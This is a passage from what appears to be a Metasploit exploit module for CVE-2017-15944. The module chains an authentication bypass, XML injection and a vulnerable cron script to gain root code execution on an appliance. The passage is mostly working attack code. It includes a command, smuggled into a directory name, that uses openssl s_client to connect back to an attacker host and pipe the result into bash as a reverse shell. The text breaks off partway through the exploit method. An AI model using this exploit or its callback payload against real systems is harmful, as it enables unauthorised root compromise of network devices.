This chain starts by using an authentication bypass flaw to to exploit an XML injection issue, which is then abused to create an arbitrary directory, and finally gains root code execution by exploiting a vulnerable cron script. This module uses an initial reverse TLS callback to stage arbitrary payloads on the target appliance. The cron job used for the final payload runs every 15 minutes by default and exploitation can take up to 20 minutes. }, 'Author' => [ 'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery 'hdm' # Metasploit module ], 'References' => [ ['CVE', '2017-15944'], ['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'], ['BID', '102079'], ], 'DisclosureDate' => 'Dec 11 2017', 'License'=> MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload'=> {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true}, 'Targets'=> [['Automatic', {}]], 'DefaultTarget'=> 0, 'DefaultOptions' => {'WfsDelay' => 2} )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ]) end def exploit # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Set the base directory and the staging payload directory path name base_directory = "/opt/pancfg/mgmt/logdb/traffic/1/" command_payload= "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; " target_directory = base_directory + command_payload if target_directory.length > 255 print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)") return end dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10)) dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10)) user_id = rand(2000).to_s print_status("Creating our corrupted session ID...") # Obtain a session cookie linked to a corrupted session file.
